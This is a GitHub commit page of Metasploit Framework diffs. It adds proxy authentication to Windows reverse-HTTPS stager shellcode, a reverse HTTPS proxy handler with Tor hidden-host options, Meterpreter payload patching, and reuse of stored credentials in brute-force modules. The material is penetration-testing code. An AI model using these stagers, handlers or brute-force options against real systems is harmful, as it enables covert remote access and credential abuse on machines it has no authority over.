Skip to content

Commit 7c46e95

Browse files
author
RageLtMan
committed
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell_import
2 parents b3fab9a + 12871c2 commit 7c46e95

File tree

79 files changed

+4288
-498
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

79 files changed

+4288
-498
lines changed

external/source/shellcode/windows/x86/src/block/block_reverse_https_proxy.asm

Lines changed: 39 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -16,24 +16,24 @@ load_wininet:
1616
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
1717
call ebp ; LoadLibraryA( "wininet" )
1818

19-
call internetopen
19+
call internetopen
2020

2121
proxy_server_name:
22-
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:55555",0x00
22+
db "PROXYHOST:PORT",0x00
2323

2424
internetopen:
25-
mov ecx, esp
25+
pop ecx ; pointer to proxy_server_name
2626
xor edi,edi
2727
push edi ; DWORD dwFlags
28-
push edi ; LPCTSTR lpszProxyBypass
28+
push esp ; LPCTSTR lpszProxyBypass (empty)
2929
push ecx ; LPCTSTR lpszProxyName
3030
push byte 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
31-
push byte 0 ; NULL pointer
32-
push esp ; LPCTSTR lpszAgent ("\x00")
31+
push byte 0 ; NULL pointer
32+
; push esp ; LPCTSTR lpszAgent ("\x00") // doesn't seem to work with this
3333
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
3434
call ebp
3535

36-
jmp short dbl_get_server_host
36+
jmp dbl_get_server_host
3737

3838
internetconnect:
3939
pop ebx ; Save the hostname pointer
@@ -49,6 +49,37 @@ internetconnect:
4949
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
5050
call ebp
5151

52+
mov esi,eax ; safe hConnection
53+
54+
db "PROXY_AUTH_START" ; start marker for optional authentification, removed during payload creation
55+
56+
call set_proxy_username
57+
proxy_username:
58+
db "PROXY_USERNAME",0x00
59+
set_proxy_username:
60+
pop ecx ; Save the proxy username
61+
push dword 15 ; DWORD dwBufferLength
62+
push ecx ; LPVOID lpBuffer (username)
63+
push byte 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
64+
push esi ; hConnection
65+
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
66+
call ebp
67+
68+
call set_proxy_password
69+
proxy_password:
70+
db "PROXY_PASSWORD",0x00
71+
set_proxy_password:
72+
pop ecx ; Save the proxy password
73+
push dword 15 ; DWORD dwBufferLength
74+
push ecx ; LPVOID lpBuffer (password)
75+
push byte 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
76+
push esi ; hConnection
77+
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
78+
call ebp
79+
80+
db "PROXY_AUTH_STOP" ; stop marker for optional authentification, removed during payload creation
81+
82+
5283
jmp get_server_uri
5384

5485
httpopenrequest:
@@ -68,7 +99,7 @@ httpopenrequest:
6899
push edx ; version
69100
push ecx ; url
70101
push edx ; method
71-
push eax ; hConnection
102+
push esi ; hConnection
72103
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
73104
call ebp
74105
mov esi, eax ; hHttpRequest

lib/msf/base/simple/framework/module_paths.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,25 +5,25 @@ module ModulePaths
55
# Initialize the module paths
66
#
77
# @return [void]
8-
def init_module_paths
8+
def init_module_paths(opts={})
99
# Ensure the module cache is accurate
1010
self.modules.refresh_cache_from_database
1111

1212
# Initialize the default module search paths
1313
if (Msf::Config.module_directory)
14-
self.modules.add_module_path(Msf::Config.module_directory)
14+
self.modules.add_module_path(Msf::Config.module_directory, opts)
1515
end
1616

1717
# Initialize the user module search path
1818
if (Msf::Config.user_module_directory)
19-
self.modules.add_module_path(Msf::Config.user_module_directory)
19+
self.modules.add_module_path(Msf::Config.user_module_directory, opts)
2020
end
2121

2222
# If additional module paths have been defined globally, then load them.
2323
# They should be separated by semi-colons.
2424
if self.datastore['MsfModulePaths']
2525
self.datastore['MsfModulePaths'].split(";").each { |path|
26-
self.modules.add_module_path(path)
26+
self.modules.add_module_path(path, opts)
2727
}
2828
end
2929
end

lib/msf/core/auxiliary/auth_brute.rb

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,9 @@ def initialize(info = {})
2222
OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]),
2323
OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]),
2424
OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]),
25+
OptBool.new('DB_ALL_CREDS', [false,"Try each user/password couple stored in the current database",true]),
26+
OptBool.new('DB_ALL_USERS', [false,"Add all users in the current database to the list",false]),
27+
OptBool.new('DB_ALL_PASS', [false,"Add all passwords in the current database to the list",false]),
2528
OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", false]),
2629
], Auxiliary::AuthBrute)
2730

@@ -184,6 +187,23 @@ def build_credentials_array
184187
if datastore['BLANK_PASSWORDS']
185188
credentials = gen_blank_passwords(users, credentials)
186189
end
190+
if framework.db.active
191+
if datastore['DB_ALL_CREDS']
192+
myworkspace.creds.each do |o|
193+
credentials << [o.user, o.pass] if o.ptype =~ /password/
194+
end
195+
end
196+
if datastore['DB_ALL_USERS']
197+
myworkspace.creds.each do |o|
198+
users << o.user
199+
end
200+
end
201+
if datastore['DB_ALL_PASS']
202+
myworkspace.creds.each do |o|
203+
passwords << o.pass if o.ptype =~ /password/
204+
end
205+
end
206+
end
187207
credentials.concat(combine_users_and_passwords(users, passwords))
188208
credentials.uniq!
189209
credentials = just_uniq_users(credentials) if @strip_passwords

lib/msf/core/db.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2980,10 +2980,10 @@ def import_filetype_detect(data)
29802980
elsif (firstline.index("<scanJob>"))
29812981
@import_filedata[:type] = "Retina XML"
29822982
return :retina_xml
2983-
elsif (firstline.index("<get_reports_response status=\"200\" status_text=\"OK\">"))
2983+
elsif (firstline.index(/<get_reports_response status=['"]200['"] status_text=['"]OK['"]>/))
29842984
@import_filedata[:type] = "OpenVAS XML"
29852985
return :openvas_new_xml
2986-
elsif (firstline.index("<report id=\""))
2986+
elsif (firstline.index(/<report id=['"]/))
29872987
@import_filedata[:type] = "OpenVAS XML"
29882988
return :openvas_new_xml
29892989
elsif (firstline.index("<NessusClientData>"))

lib/msf/core/exploit/exe.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,7 @@ def generate_payload_exe_service(opts = {})
7070
pl = opts[:code]
7171
pl ||= payload.encoded
7272

73-
if opts[:arch] and opts[:arch] == ARCH_X64
73+
if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64)
7474
exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts)
7575
else
7676
exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts)
@@ -89,7 +89,7 @@ def generate_payload_dll(opts = {})
8989
pl = opts[:code]
9090
pl ||= payload.encoded
9191

92-
if opts[:arch] and opts[:arch] == ARCH_X64
92+
if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64)
9393
dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts)
9494
else
9595
dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts)

lib/msf/core/exploit/http/server.rb

Lines changed: 49 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,9 @@ def initialize(info = {})
3636
], Exploit::Remote::HttpServer
3737
)
3838

39+
# Used to keep track of resources added to the service manager by
40+
# this module. see #add_resource and #cleanup
41+
@my_resources = []
3942
@service_path = nil
4043
end
4144

@@ -202,6 +205,39 @@ def start_service(opts = {})
202205
add_resource(uopts)
203206
end
204207

208+
# Set {#on_request_uri} to handle the given +uri+ in addition to the one
209+
# specified by the user in URIPATH.
210+
#
211+
# @note This MUST be called from {#primer} so that the service has been set
212+
# up but we have not yet entered the listen/accept loop.
213+
#
214+
# @param uri [String] The resource URI that should be handled by
215+
# {#on_request_uri}.
216+
# @return [void]
217+
def hardcoded_uripath(uri)
218+
proc = Proc.new do |cli, req|
219+
on_request_uri(cli, req)
220+
end
221+
222+
vprint_status("Adding hardcoded uri #{uri}")
223+
begin
224+
add_resource({'Path' => uri, 'Proc' => proc})
225+
rescue RuntimeError => e
226+
print_error("This module requires a hardcoded uri at #{uri}. Can't run while other modules are using it.")
227+
raise e
228+
end
229+
end
230+
231+
# Take care of removing any resources that we created
232+
def cleanup
233+
# Must dup here because remove_resource modifies @my_resources
234+
@my_resources.dup.each do |resource|
235+
remove_resource(resource)
236+
end
237+
238+
super
239+
end
240+
205241
#
206242
# Return a Hash containing a best guess at the actual browser and operating
207243
# system versions, based on the User-Agent header.
@@ -358,9 +394,16 @@ def report_user_agent(address, request, client_opts={})
358394
# NOTE: Calling #add_resource will change the results of subsequent calls
359395
# to #get_resource!
360396
#
397+
# @return (see Rex::Service#add_resource)
361398
def add_resource(opts)
362399
@service_path = opts['Path']
363-
service.add_resource(opts['Path'], opts)
400+
res = service.add_resource(opts['Path'], opts)
401+
402+
# This has to go *after* the call to service.add_resource in case
403+
# the service manager doesn't like it for some reason and raises.
404+
@my_resources.push(opts['Path'])
405+
406+
res
364407
end
365408

366409
#
@@ -455,7 +498,11 @@ def srvhost_addr
455498
# Removes a URI resource.
456499
#
457500
def remove_resource(name)
458-
service.remove_resource(name)
501+
# Guard against removing resources added by other modules
502+
if @my_resources.include?(name)
503+
@my_resources.delete(name)
504+
service.remove_resource(name)
505+
end
459506
end
460507

461508
#

lib/msf/core/handler/reverse_http.rb

Lines changed: 46 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,13 +83,21 @@ def ssl?
8383
# addresses.
8484
#
8585
def full_uri
86-
lhost = datastore['LHOST']
86+
unless datastore['HIDDENHOST'].nil? or datastore['HIDDENHOST'].empty?
87+
lhost = datastore['HIDDENHOST']
88+
else
89+
lhost = datastore['LHOST']
90+
end
8791
if lhost.empty? or lhost == "0.0.0.0" or lhost == "::"
8892
lhost = Rex::Socket.source_address
8993
end
9094
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
9195
scheme = (ssl?) ? "https" : "http"
92-
uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"
96+
unless datastore['HIDDENPORT'].nil? or datastore['HIDDENPORT'] == 0
97+
uri = "#{scheme}://#{lhost}:#{datastore["HIDDENPORT"]}/"
98+
else
99+
uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"
100+
end
93101

94102
uri
95103
end
@@ -297,6 +305,42 @@ def on_request(cli, req, obj)
297305
print_status("Patched user-agent at offset #{i}...")
298306
end
299307

308+
# Activate a custom proxy
309+
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
310+
if i
311+
if datastore['PROXYHOST']
312+
if datastore['PROXYHOST'].to_s != ""
313+
proxyhost = datastore['PROXYHOST'].to_s
314+
proxyport = datastore['PROXYPORT'].to_s || "8080"
315+
proxyinfo = proxyhost + ":" + proxyport
316+
if proxyport == "80"
317+
proxyinfo = proxyhost
318+
end
319+
if datastore['PROXY_TYPE'].to_s == 'HTTP'
320+
proxyinfo = 'http://' + proxyinfo
321+
else #socks
322+
proxyinfo = 'socks=' + proxyinfo
323+
end
324+
proxyinfo << "\x00"
325+
blob[i, proxyinfo.length] = proxyinfo
326+
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
327+
#Optional authentification
328+
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
329+
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
330+
datastore['PROXY_TYPE'] == 'SOCKS'
331+
332+
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
333+
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
334+
blob[proxy_username_loc, proxy_username.length] = proxy_username
335+
336+
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
337+
proxy_password = datastore['PROXY_PASSWORD'] << "\x00"
338+
blob[proxy_password_loc, proxy_password.length] = proxy_password
339+
end
340+
end
341+
end
342+
end
343+
300344
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
301345
i = blob.index("METERPRETER_TRANSPORT_SSL")
302346
if i
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
# -*- coding: binary -*-
2+
require 'rex/io/stream_abstraction'
3+
require 'rex/sync/ref'
4+
require 'msf/core/handler/reverse_http'
5+
6+
module Msf
7+
module Handler
8+
9+
###
10+
#
11+
# This handler implements the HTTP SSL tunneling interface.
12+
#
13+
###
14+
module ReverseHttpsProxy
15+
16+
include Msf::Handler::ReverseHttp
17+
18+
#
19+
# Returns the string representation of the handler type
20+
#
21+
def self.handler_type
22+
return "reverse_https_proxy"
23+
end
24+
25+
#
26+
# Returns the connection-described general handler type, in this case
27+
# 'tunnel'.
28+
#
29+
def self.general_handler_type
30+
"tunnel"
31+
end
32+
33+
#
34+
# Initializes the HTTP SSL tunneling handler.
35+
#
36+
def initialize(info = {})
37+
super
38+
39+
register_options(
40+
[
41+
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
42+
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
43+
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
44+
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
45+
OptString.new('HIDDENHOST', [false, "The tor hidden host to connect to, when set it will be used instead of LHOST for stager generation"]),
46+
OptInt.new('HIDDENPORT', [ false, "The hidden port to connect to, when set it will be used instead of LPORT for stager generation"]),
47+
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
48+
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
49+
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
50+
], Msf::Handler::ReverseHttpsProxy)
51+
52+
end
53+
54+
end
55+
56+
end
57+
end
58+

lib/msf/core/module/reference.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -96,6 +96,8 @@ def initialize(in_ctx_id = 'Unknown', in_ctx_val = '')
9696
self.site = 'http://www.osvdb.org/' + in_ctx_val.to_s
9797
elsif (in_ctx_id == 'CVE')
9898
self.site = "http://cvedetails.com/cve/#{in_ctx_val.to_s}/"
99+
elsif (in_ctx_id == 'CWE')
100+
self.site = "http://cwe.mitre.org/data/definitions/#{in_ctx_val.to_s}.html"
99101
elsif (in_ctx_id == 'BID')
100102
self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s
101103
elsif (in_ctx_id == 'MSB')

0 commit comments

Comments
 (0)